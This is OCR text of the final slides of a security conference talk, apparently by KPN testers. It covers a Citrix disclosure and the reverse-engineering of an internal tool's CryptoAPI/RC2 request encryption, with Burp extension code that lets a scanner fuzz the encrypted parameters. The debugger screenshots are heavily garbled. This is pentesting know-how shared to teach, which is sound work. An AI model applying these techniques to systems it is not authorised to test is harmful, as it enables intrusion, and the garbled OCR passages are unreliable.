working with us to keep Citrix customers safe.

*) "We" = secure@citrix.com 103/ 142



k? kpn

The 5 Stages

Denial Anger Bargaining Depression Acceptance

FFFFFFF
FFFFFFF
FFFFFF
FFFUU
UUUU
uuu
UUUU
uuuu
UUUU-

You might want to memorize these for future
reference.
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"Happy Ending’

So 14 hours before Brucon was scheduled to start:

10/26/2016 19:30 PM (secure(@citrix.com)

Thank you for working with us to protect Citrix customers.
[...]

https://support.citrix.com/article/CTX218361 (CVE-20169028)
[..]

Once again, thank you for working with us to protect Citrix customers.
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@kpn
Reverse-Engineering Crypto
from a binary

Don't overcomplicate things

YAEVEY:

EEDRIQE
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What we tested

T

Welcome to BUT — i i

Make sure you have performed the following steps before continuing:

- Metwaork cable attached to the workstation, where the cable is connected to either
the corporate networlc or has access to the intemet

- Walid comporate domain user name and password

- A mobile phone, registered in the (comporate) global address book of Microsoft
Cutlook which will be used to send/receive SMS5 text messages during the process.

Pleaze click Cortinue to inttiate the process...
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Which really just did this

GET /?0xFF32009F91CF75BAAB4BEA7ABE215BAFHTTP/1.1

Host: but-dev.kpnnet.org
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Firefox/35.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

108 / 142



@ kpn

Which really just did this

GET /?0xFF32009F91CF75BAAB4BEA7ABE215BAFHTTP/1.1

Host: but-dev.kpnnet.org

User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 (0]¢

Cache-Control: private

Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding

Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Wed, 18 Mar 2015 15:40:43 GMT
Content-Length: 34

Ox4BE9296976230D49D10FE726FA276CAB
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Next Step - Binary Analysis
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ImmunityDebugger/OllyDbg

3 Immunity Debugger - BUT-Dev-Unlocker-mod.exe - [CPU - main thread, medule BUT-Dev-] ==
File View Debug Plugins Immlib Options Window Help Jobs
% EIE Mx b Il uH lisJ+f lemtwhcPkbzr.s ?

-

Consulting = Manage!

» |Registers (FPUI
Ef @

EDCT
{ FEFEFFFE)
FEFFFF!

[15:45:871 Breakpoint at BUT-Dev-.B13EEDC? Paused
= = T T — =T T =" B a T
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View executable modules

Q Immunity Debugger - BUT-Dev-Unlocker.exe - [Executable modules]
@File View Debug Plugins ImmLib Options Window Help Jobs
I EE X b Il Ml 1 emtwhoecPkbzr.s

Baze Size Entry Mare File wersion Fath

diLl
MPR
w1 . I.0LL
IPHLFAFI|&.1 5 C gl ; IFHLPAFI.OLL
WIHMH 5.1 - IHHMH.dLL

api.dll




View Names

Actualize

View memory

View code in CPLU

W32~profapi
Follow entry

W22~ JSEREHML. Dump data in CPU

View names Ctrl+M

Mark as non-system DLL
Update .udd file now

Yiew executable file

View all resources



Names in CRYPTSP

Names in CRYPTSP
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When the breakpoint hits

whcPk

E 2522;323 B ERVF‘TSP FAC4Z22G
£ Ecaseear caLl F.74C390F

Hou S: [EBP-241, EDT
04 HOU ES:[EEP—2C].EDI
Ed4 oy 551
0g rou
EG rou
0@ Tou
cc ol
FC rou
23 oy

i

o
=duapi32. CruprEncrupt
0 BUT-Dev-, ABZ31166

CRYFTSF. CryphEncryot
22bit @iFFFFFFFF]
C5 @818 3260t @(FFFFFFFF)

S8 BE23 320t OIFFFFFFFF)

DS BEZ3 Zzhit BUFF

£8 gose seoi SEFEEo0at000)

A

EST

CALL ERVPTSR. 7acaacnl
S oo SHORTChYPToP. 74C3EEER 63 BEE0
C74E_FC_FEFFFFFI MOV OUORD FTR S5: (Es -z

£5 g5a0a0a8 CRYPTSP. 74CI5E0F LastErr ERROR_SUCCESS (BOGREED]
e #OR EDILEOT BBBEEZ4E (MO, NE, E, BE, NS, FE, GE, LE)

PELFFFF

85970 08 DWORD PTR SS:[EEF-221,EDI E E

BEEE 28 oty B8, DUDRD PTR DS [E51he0] s H

8950 O Moy DUORD PTR S5:[EBP-241, EBX i H

5 PUSH EBX Hy 3
BEGFFFF CRYFTSF.74C33C4F M

TEST EA,EAX 2 H

SHORT CRYPTSP. 74C35B06 EN H

MOV DUORD FTR 551 [EEF-21, EDI
noy E0T,OUORD FTR 55: (EERHC]
MOU_OWORD _FTR S5: [EBF-1C1, EDI
TEST EOI,EDT

SHORT CRYPTSP., 74C35E92
UsH EDT

RETURN to BUT-Dev-.B8812EDCS

B@“ED Ba1SEDCS
44 BAC4ES38 Su—.

BEBRBEEE
BaCEACES
BasEDSE
BAaARRAa1 G

%. ASCII "™action=1""

nTzoTwoT
ME3ssnam

i
1 B

. RETURN to BUT-Oev—.@B1CFEDF from BUT-Deu-.D013EDLE
i,

4.
. BUT-Deu-. 5108069
+

SDEEeemDoOSYeD,

C5ECE
CEBCEE

,‘Breakpoint at CRYPTSP.CryptEncrypt

[22:38:291 Paused
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@ kpn

Understanding the function
calls

. BS DRREEEEG
. 8945 F2

. EE

5 EE4A BC
. ESF3 6O
.74 oB

. BE4Z B4
. BIFE 81

CrP_DWORD PTR 551 LEBF—
SHORT BLT-Dioo. B SEEDBE

HOU ERH, @
HOU OUORD PTR 552 (EEP—21, EAX

BUT-Dey—, B13EEDF 1
HOU ECR,DWORD FTR DS: [EOR+C]
CitP ECLE

IGRT BUT-Dey-.B13EEDF

figy Enx DORD PR DS CEDK 41

BUT-Deu-. B12EEDF 1
: [EDR+21

cPkbzr

Probable call to Derivekey but mavbe others

Registers

mmanam

? Code auditor and software assessment specialist needed

(FPU)

7E9BYEEE

L TE mm

. B3EZ B3
5Bl

. BESD F4
. 8845 Fg
. BEES

BigdF1l1e0 BUl-Uey—.01471164
B844DRG4

L 2 maEn

D EEC

© EEEC 19 ESF, 18

I EsE0 Fa U DUDRD TR SS: (EBF-C1, EBX
. BA_4E61BCAE  HOU EDX,BBCE14E

: F U DWORD PTR S5t [EBP-41, EDX
| BoeET e i Eﬁéﬁgag?ﬁs tEgr o B 43 e 9
1 BEan eC U ECX,DWORD P STV smEey 5

Ci, B
SHORT_BUT-Deu-.B13EEE4R

AOD EDK, 38

LER EBX.DWORD PTR S5: [EEP+51

Hug ERR DUDRD PTR D33 [EDu+10]
SHORT BUT-Deu-., B13EEESR

10U EA, DUORD PTR DSz [EBH]

110U DWGRD PTR OS:CEDXI, EA

FOO EES, 4

rOU EAX, DWORD TR DS:[EBX]

oU BUDRD PTR DS

10U_EREH, DUBRD PTh Dot fERi
EE (ADUAPL32. CEVBTERCTURT )

szLe
FST @828 Cond G 8 [
[ NEnR 2 Rk

B844DAB4S i 8
AB440A
3440A0
A844DA10
HH44UH14

act ion=1"

SN =) e S S
BE440A4C  BEGAGEE] 6...

BA440AEE  OA440R26  rD. o
BHA4400E4 [FEA440EB4 tl[l

AE
0952576 08

[15:58:221 Breakpoint at BUT-Dev-.B13EEDC?

Paused
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«@ kpn
Documentation :-

https://msdn.microsoft.com/en-us/library/windows/desktop/aa379924(v=vs.85).aspx E1|C | & |Q search B8 @ 3+ @

C oweme CryptEncrypt function

CryptEncodeObject
CryptEncodeObjectEx
The CryptEncrypt function encrypts data. The algorithm used to encrypt the data is designated by the key held by the CSP module and is
CryptEncrypt referenced by the hKey parameter.
[ ) IIE) email interoperability have been made to CryptoAPIL

CryptEncryptMessage C++ arks section of CryptMsgOpenToEncode.
CryptEnumKeyIdentifierPrope
rties mnay return incorrect results if invoked simultaneously by
CryptEnumOIDFunction BOOL WINAPI CryptEncrypt (
CryptEnumOIDInfo _I n__ HCRYPTKEY hKEY ’
CryptEnumproviders _In_ HCRYPTHASH hHash,

_In_ BOOL Final,
CryptEnumProviderTypes

_In_ DWORD dwFlags,
CryptExportKey

_Incut_ BYTE *pbData,
CryptExportPKCS8 -

e _Incut_ DWORD *pdwDataLen,

CryptExportPKCSEEX In DWORD dwBufLen
CryptExportPublickeyInfo } H
CryptExportPublicKeyInfoEx
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@kpn
But what's the crypto
algorithm?

CryptDeriveKey function

The CryptDeriveKey function generates cryptographic session keys derived from a base data v:
same cryptographic service provider (CSP) and algorithms are used, the keys generated from th
can be a password or any other user data.

This function is the same as CryptGenKey, except that the generated session keys are derived f
CryptDeriveKey can only be used to generate session keys. It cannot generate public/private k

— er. This handle can be used with an
| CH+ |

BOOL WINAPI CryptDeriveKey (

_In_ HCRYPTPROV hProv,
_In_ ALG_ID Algid,
_In_ HCRYPTHASH hBaseData,
_In_ DWORD dwFlags,

_Inout__ HCRYPTKEY *phKey
)i

118 / 142



@kpn
But what's the crypto
algorithm?

CPU - main thread, module BUT-Dev-]

hcPkbz=z

aduapi32. Cryprler luekey

3 534 #2 ERS
EpCz | . 74 @R RT @30 1EDDE

EB3 [ © £ BBomonce  iiau ERe

I A R = = .
: e » - -

Ence | & Seen oo %, DWORD PTR DS: [EDRAC ?59? 444 j E -~ 1 - D v

Eoed |- 53 it BuT-n GECIEDF: ady :’EI l S2. LI 'J l:lr 1 th
: Dz
: T c . — =151

S| By e PR AaCCl1e8 BOT-Oeo—. 0oL T Io0

i, 1
HORT BUT-Dew-.BAC1EDF L

Ba4z20Ca4

EDEE | . G362 o A00 ESP,DWORD PTR 05: [EDH+E1
EBES | 2 Ehen £a R0 Bes, o PR 53 [EBP-0]

. . - r——3—4
Eoes | osis £ 10U EAX,DWORD FTR 5: [EBF-81 SIS AL A

POP EBP LastErr ERROR_SUCCESS [ GEGAOOAR]

ECFE GERBBZ46 (N, ME, E,BE, NS, PE, BE, LE)
EDF|

EDFF 2 2
EEAL a 2
EEG4 EEP-C1,EBY a H
EEG7 Y H
EEBC EEF-41,ED% "

EEGF IECE 14E 2 2
EE14 SRECERA S, remp- 51, EOK a 2
EEL7 ac 10U ECK,DWORD PTR D0S: [EDR+C] N 2

EELR | . 83F5 6@ CP_ECH.B
EEID | . 74 2B SHORT BUT-Dew-.BECIEE4R

. ADD EDH, 26
EE22 | . G050 o2 LEA EBH,DIORD PTR $5: [EEP+&]
EEZS | > 8842 18 [ri0y_EA%, DUORD PTR DS: [EDH+ia1
[EO%=75573444 (advanidz, Cronther Luekeu)

rlrlnnﬂrlnnnﬂrlnnnnnnnﬂnnnnﬂnnnnﬂnnnnﬂ
m
=
=
o

Ba420Ca4
aa4z20Ccas
Bad4z20cac
994 UIIH

EIEE
~imm
iRt

EF .7AUbad_
74 allockst
3 A5 JEE. m

pazes
b

EF Enooptio
2 nestoee.

T s

88888881 Beas
Ba420D53 XiB.

S A S - -, -, - -
RETURH to BUT-Deu-.@BCSFEDF from BUT-Deu-, GACIEDLS

EUT-Dew-. BACEE0AT

viu RETURH to ntdll.772315928 from ntdll. 77315920

55420075 | BaaaaaGE

SRR R R

[22:57:13]1 Breakpoint at BUT-Dev-—.B@AC1EDC? Paused
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@ kpn

But what's the crypto
algorithm?

ALG_ID

can be used to determine whether a cryptography algorithm is only supported by using
the CNG functions.

CALG_OID_INFO_PARAMETERS oxfffffife The algorithm is defined in the encoded parameters. The algorithm is only supported by
HCERT_SERVER_OCSP_RESPO using CNG. The macro, IS_SPECIAL_OID_INFO_ALGID, can be used to determine
NSE whether a cryptography algorithm is only supported by using the CNG functions.
ACRYPTHASH CALG_PCT1_MASTER 0x00004c04 Used by the Schannel.dll operations system. This ALG_ID should not be used by
annlications.
HCRYPTKEY
HCRYFTOIDFUNCADDR CALG_RC2 0x00006602 @ RC2 block encryption algorithm.jft Base
Cryptographic Provider.
HCRYPTOIDFUNCSET oft Base
Cryptographic Provider.
HCRYPTPROV_LEGACY
CALG_RCS 0x0000660d RCS5 block encryption algorithm.
HCRYPTPROV_OR_NCRYPT_KE
Y_HANDLE CALG_RSA_KEYX 0x0000a400 @ RSA public key exchange algorithm. This algorithm is supported by the Microsoft Base
Cryptographic Provider.
HCRYPTPROWV
CALG_RSA_SIGN 0x00002400 RSA public key signature algorithm. This algorithm is supported by the Microsoft Base
KEYSWCC_HANDLE Cryptographic Provider.
CALG_SCHANNEL_ENC_KEY 0x00004c07 Used by the Schannel.dll operations system. This ALG_ID should not be used by

applications.
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CPU - main thread, module BUT-Dev-]

a!

Code auditor and software assessment specislist needed

Frobable oall to Derluskey but maybe others

D a1 et - G135 DO
. B2 onogoeeg 7}

L E34e Fu 0 BUBEG pre so: reee-ar En
> BeA oo
s a8
L a e SHDRT BUT-Dey-, .gxaszun

|.1f14FE|. 39
774FDESE RDUAFRIZZ.CryptHashDatal
AIFF] 160 U—.gIagIIeyg

Chf e L
.7 BE BUT-Dle -, B139E0F
CEEL WL e, AB4FD728

6l POPRD - -y =
By Fmammema Ba4FD7EC

PEEOBEA
BE4FDEED

£ty
) SUbAS PTR S5: [EBP-£3,EBK

1) et bt arg e s
QU GUORD FTR 581 [EEF-43,EDX 513 enoty o

TS enoty o
10U EDX, BBCE14E S5 oy
10 UBRD PTR 'S, repe o EDK £16 oty

112U ECE, DUORD P
ciP_EC
SHORT_EUT-Dev-, B139EE4R

zz18 EsPuDzDI
FST 4920 Cond | 608 ErrG510G65 80 (E0)
FOU B27F Pres NEAR,S3 fask 111111

i
SHORT BUT-Dey-. 01 39EE2E
LR piong PTre D53 (€62
R Dg: [EDX1, ER

ol Blig0 BT DETCERRSTERR
DEC_EEX
SHORT BUT-Deu-.B139EE4R
AODEEN, 4
AOD EDX, 18
SHORT BUT-Deu-.8139EE2S
EDX, DUORD PR 5: (EBP—41

3
> gBsE Fo
O (ROUAPTSZ. G

[

£0.
BUT-Deu-. BLad1168

RETUAI o BUT- Do GAT0FES9 Fron BUT-Dev- 52082
aUT-eu- 141160

21 ap Op

21 AB RE
e

RETURN to BUT-Dev-,0130FEDF fron BUT-Dey-. 1396018

B BUT-Dey-. BL3ERDEY
W RETURN to ntdl |, 77SFEAFR From ntdll. PPEFSAFC

ADUAP1Z2. 7P4FogER
BOT-Deo-. BL4alion

b EUT-Deu-. BLA24800

UNICODE "Baol™

Show Modules window CALE+ED Paused
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Reimplement
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Reimplement

if (CryptHashData(
hHash,
(BYTE*)pbPassword,

strilen(pbPassword),
x00000001))
{

}

else

{
MyHandleError("Error during CryptHashData.\n")

}

if (CryptDeriveKey(
hCryptProv,
CALG_RC2,
hHash,
CRYPT_EXPORTABLE,
&hKey))
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Reimplement

DWORD nDatalLen = strlen(pbContent)
DWORD neDatalLen = nDatalLen + ENCRYPT_BLOCK_SIZE
- (nDatalLen % ENCRYPT_BLOCK_SIZE)

char* pTmp = new char[nDatalLen + 1]
strncpy_s(pTmp, nDatalLen + 1, pbContent, nDatalLen + 1)

if (CryptEncrypt(hKey, 0, TRUE, 0, (BYTE*)pTmp, &nDatalLen, neDatalen))

char *encres = bytesToHexString((uint8_t *)pTmp, neDatalLen)
printf("%s\n", encres)

}

else

{
}

MyHandleError("Getting EncryptedBlob size failed.")
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It works!

Decrypt Request

C:\> but-crypt.exe decrypt FF32009F91CF75BAAB4BEA7ABE215BAF

e —
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It works!

Decrypt Request

C:\> but-crypt.exe decrypt FF32009F91CF75BAAB4BEA7ABE215BAF

action=¢ ..
Decrypt Response

C:\> but-crypt.exe decrypt 4BE9296976230D49D10FE726FA276CAB

000;721799;422
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It works!

Decrypt Request

C:\> but-crypt.exe decrypt FF32009F91CF75BAAB4BEA7ABE215BAF

Decrypt Response

C:\> but-crypt.exe decrypt 4BE9296976230D49D10FE726FA276CAB

000;721799;422

Encrypt

C:\> but-crypt.exe encrypt action=1

FF32009F91CF75BAAB4BEA7ABE215BAF
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@kpn
Next steps?

Burp Extender FTW!
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Custom Editor Tab

def setMessage(self, content, isRequest):

gloc = self. _extender._helpers.indexOf(content,'?', True, O, len(content))
endloc = self. extender. helpers.indexOf(content,' ', True, qloc, len(content))

fullreq = self._extender. helpers.bytesToString(content)[qlocs:endloc]
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Custom Editor Tab

def setMessage(self, content, isRequest):

gloc = self. _extender._helpers.indexOf(content,'?', True, O, len(content))
endloc = self. extender. helpers.indexOf(content,' ', True, qloc, len(content))

fullreq = self._extender. helpers.bytesToString(content)[qlocs:endloc]

cmd = "c:\\temp\\but-crypt.exe"
args =" d " + fullreq
cmd2 = cmd + args

proc = subprocess.Popen(cmd2,bufsize®, executablesNone, stdin=None, \
stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fnione, \
close_fds=True, shell=True)

127/ 142



Custom Editor Tab

def setMessage(self, content, isRequest):

gloc = self. _extender._helpers.indexOf(content,'?', True, O, len(content))
endloc = self. extender. helpers.indexOf(content,' ', True, qloc, len(content))

fullreq = self._extender. helpers.bytesToString(content)[qlocs:endloc]

cmd = "c:\\temp\\but-crypt.exe"
args =" d " + fullreq
cmd2 = cmd + args

proc = subprocess.Popen(cmd2,bufsize®, executablesNone, stdin=None, \
stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fnione, \
close_fds=True, shell=True)

out = str(proc.communicate(proc.stdout)pP]).rstrip()

self. txtInput.setText(out)

self._txtInput.setEditable(self._editable)
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Custom Editor Tab

..~/ Host 'Met... URL

1 http://192.168.50.219 GET
<

/?0xFF32009F91CF/5BAAB4BEA7ABE215BAF

5——

_JRequest}Response|

| Raw ‘ Params | Headers | Hex | Custom crypto input

action=1
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Custom Scan Insertion Point

def getInsertionPoints(self, baseRequestResponse):
content = baseRequestResponse.getRequest()

gqloc = self._helpers.indexOf(content, '?', True, 0, len(content))
endloc = self. helpers.indexOf(content,' ', True, gqloc, len(content))
fullreq = self._helpers.bytesToString(content)[qloc+:endloc]
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@ kpn
Custom Scan Insertion Point

def getInsertionPoints(self, baseRequestResponse):

content = baseRequestResponse.getRequest()

gqloc = self._helpers.indexOf(content, '?', True, 0, len(content))
endloc = self._helpers.indexOf(content,' ', True, qloc, len(content))
fullreq = self._helpers.bytesToString(content)[qloc#:endloc]

if (fullreq is None):
return None
else:
cmd = "c:\\temp\\but-crypt.exe"
args =" d " + fullreq
cmd2 = cmd + args
proc = subprocess.Popen(cmd2,bufsize£, executable=None, stdin=None, \
stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fntone, \
close_fds=True, shell=True)
out = str(proc.communicate(proc.stdout)p])
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@ kpn
Custom Scan Insertion Point

def getInsertionPoints(self, baseRequestResponse):
content = baseRequestResponse.getRequest()
gqloc = self._helpers.indexOf(content, '?', True, 0, len(content))
endloc = self._helpers.indexOf(content,' ', True, qloc, len(content))
fullreq = self._helpers.bytesToString(content)[qloc#:endloc]

if (fullreq is None):
return None
else:
cmd = "c:\\temp\\but-crypt.exe"
args =" d " + fullreq
cmd2 = cmd + args
proc = subprocess.Popen(cmd2,bufsize£, executable=None, stdin=None, \
stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fntone, \
close_fds=True, shell=True)
out = str(proc.communicate(proc.stdout)p])

queryres = []
querys = out.split('&"')
for query in querys:
loc = string.find(query, '=')
queryres.append(InsertionPoint(self._helpers, \
baseRequestResponse.getRequest(), out, query[:loc#]))

return queryres
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@ kpn
Custom Scan Insertion Point

def buildRequest(self, payload):

input = self. insertionPointPrefix + self. helpers.bytesToString(payload) + \
self. insertionPointSuffix;
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@ kpn
Custom Scan Insertion Point

def buildRequest(self, payload):

input = self. insertionPointPrefix + self. helpers.bytesToString(payload) + \
self. insertionPointSuffix;

cmd = "c:\\temp\\but-crypt.exe"

argl = "e

proc = subprocess.Popen([cmd, argl, input],bufsize2, executable=None, \

stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fnione, \
close fds=True, shell=False)

out = str(proc.communicate(proc.stdout)p]).rstrip()
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@ kpn
Custom Scan Insertion Point

def buildRequest(self, payload):

input = self. insertionPointPrefix + self. helpers.bytesToString(payload) + \
self. insertionPointSuffix;

cmd = "c:\\temp\\but-crypt.exe"

argl = "e

proc = subprocess.Popen([cmd, argl, input],bufsize2, executable=None, \
stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE, preexec_fnkone, \
close fds=True, shell=False)

out = str(proc.communicate(proc.stdout)p]).rstrip()

content = self._baseRequest

qloc = self._helpers.indexOf(content, '?', True, 0, len(content))
endloc = self._helpers.indexOf(content,' ', True, gqloc, len(content))
fullreq = self. helpers.bytesToString(content)[qloc+#:endloc]

newcontent = self._helpers.stringToBytes(\

self._helpers.bytesToString(content).replace(fullreq, out))
return newcontent
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j'(? kpn
And the Active Scan results...

136/ 142



fﬁ: kpn
And the Active Scan results...
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,k? kpn
Lessons Learned

- Building a Burp plugin

- How to reverse engineer crypto
from a binary
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j'(? kpn
Fast forward a month later
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Fast forward a month later

- AutolT
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f’@ kpn
Fast forward a month later

- AutolT

- It can be decompiled!
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k? kpn
Fast forward a month later

- AutolT

- It can be decompiled!

- DECOMPILED!!!
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OMEG!

DOUBLE FACEPALM

FORWHEN OME FACEPALM DOESN'T CUT IT
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@ Exe2 Aut - Autclts Decompiler

D11C211{_ ecrypt_dllhandle(), "bool™, "CryptReleaselontext"”, "handle™, _ crypt_context(], "dword”, 0}
D11Close(_ crypt dllhandle())

EndIf
EndFunc

Func _crypt derivekey(3vpassword, $ialg id, %ihash alg id = $calg_md5)
shbuff = 0, $herypthash = 0, fierror = 0, fiextended = 0, Svreturn = 0

Local Faret = 0,
_Ccrypt_startupl()

Do
Zaret =

DllCalli__crypt_dllhandletj, "bool™,
If @error QR MOT $aret[0] Then

f2ierror = f@error + 10

tiextended = Bextended

svreturn = -1

ExitLoop

EndIf

shorypthash = $aret[5]
fhbuff = DllStructCreate ("byte["™ & Binarylen($vpasaword) & "]")
Dl1l1StructSetData (Shbuff, 1, Svpassword)

faret = D11Cz2l11(_ crypt_dllhandle(), "bool™,
If @error QR MOT faret[0] Then
fierror = @error + 20
Ziextended = @extended
svreturn = -1
ExitLoop
EndIf
$aret = D11Czall{ crypt dllhandle(), "bool"™,

If @error OB MOT 3aret[0] Then

EndIf

Zierror = @error + 30
siextended = @extended
Svreturn = -1

ExitLoop

"CryptCreateHash™, "handle", _ crypt context(), "uint", ik

"CryptHashData"™, "handle"™, s$herypthash, "struct*", shbuff,

"CryptDeriveKey"”, "handle™, crypt context{), "uint™, %$ial
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f(? kpn
REAL Lessons Learned

- KISS
- Think simple

- Don't overcomplicate things
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@ kpn
REAL Lessons Learned

- KISS
- Think simple
- Don't overcomplicate things

- AutolT decompiles back to source!

141/ 142



k} kpn

Thank you :-)
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